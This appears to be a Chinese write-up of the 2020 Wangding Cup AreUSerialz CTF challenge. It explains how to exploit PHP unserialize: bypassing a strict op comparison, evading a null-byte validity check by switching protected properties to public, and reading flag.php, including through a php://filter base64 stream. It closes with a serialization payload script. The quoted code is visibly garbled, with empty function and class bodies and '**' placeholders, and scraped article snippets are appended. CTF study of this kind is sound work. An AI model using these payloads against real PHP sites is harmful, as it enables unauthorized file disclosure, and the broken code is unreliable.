網鼎盃 2020 青龍組 AreUSerialz

2022-07-11 16:48:10 字數 1758 閱讀 9122

對整個**進行審計之後,其實很明顯的,在**的最後一部分中傳入str引數後,對字串進行反序列化操作。

因為這不是在建立乙個物件所以不會觸發他的構造方法construct(),而是通過在銷毀物件時觸發他的destruct(),進入關鍵**的。來看一下關鍵**:

這裡需要注意的關鍵點是,if($this->op === "2") 對op的判斷用的是===,三個等號強型別比較。我們可以通過傳入乙個數字2來繞過這個判斷。

//

魔術方法 destruct() 在結束時銷毀物件呼叫

function

__destruct()

可以確定的是,我們這裡需要通過read()方法讀取flag.php,在檔案的開頭就有通過include(flag.php)包含到該檔案。因此呢,我們需要給$op傳入的值為2

read()方法就像對簡單了,只要求$filename不為空,就通過file_get_contents()方法去取檔案,也正是由此讀取flag.php。

public

function

process()

else

if($this->op == "2")

else

}//自定義方法read()

private

function

read()

//返回$res

return

$res

; }

看一下這個自定義方法,這部分通過代for迴圈對傳進來的引數的每一位進行判斷,要求其每一位的ascii值必須在32-125之間,為什麼會強調這裡呢?是因為這個filehandler類中的變數全部都是protected的,在對其物件進行序列化時,protected許可權的屬性會在屬性名前加上%00*%00來表示這個許可權,而%00的ascii碼為0,就無法通過is_valid()方法的檢驗。

對於這種情況,有幾種繞過的方法,其中簡單的一種就是,php7.1+版本對屬性的型別不敏感,因此在本地序列化時,可以將其屬性改成public的就可以繞過。

//

自定義方法 is_valid

function is_valid($s

) for($i = 0; $i

< strlen($s); $i++)

if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

return

false

;

return

true

;}

最後呢,附上本地的序列化payload

這裡filename給了兩種不同的值,

其一,是直接傳入檔案的名字,通過read()方法,將檔案以字串形式讀取。

其二,因為file_get_contents()是支援php偽協議的,所以傳入filter的偽協議,將flag.php的原始碼以base64的形式讀取出來。

<?php

class

filehandler

}$a = new filehandler(2,'flag.php','');

$b = new filehandler(2,'php://filter/read=convert.base64-encode/resource=flag.php','');

echo

serialize($a

);echo "

";echo

serialize($b);

網鼎盃 2020 青龍組 AreUSerialz

知識點 php強型別比較,可以通過 不同型別 達到繞過目的 php7.1以上版本 對類的型別定義不敏感 file get contents 偽協議檔案讀取 include flag.php highlight file file class filehandler public function p...

網鼎盃 2020 青龍組 AreUSerialz

考點 php反序列化 原始碼 include flag.php highlight file file class filehandler public function process elseif this op 2 else private function write res file pu...

網鼎盃 2020 青龍組 notes wp

人生艱難,做了兩天。學到不少。給了js 第一次做js題,賊難受。var express require express var path require path const undefsafe require undefsafe const require child process expres...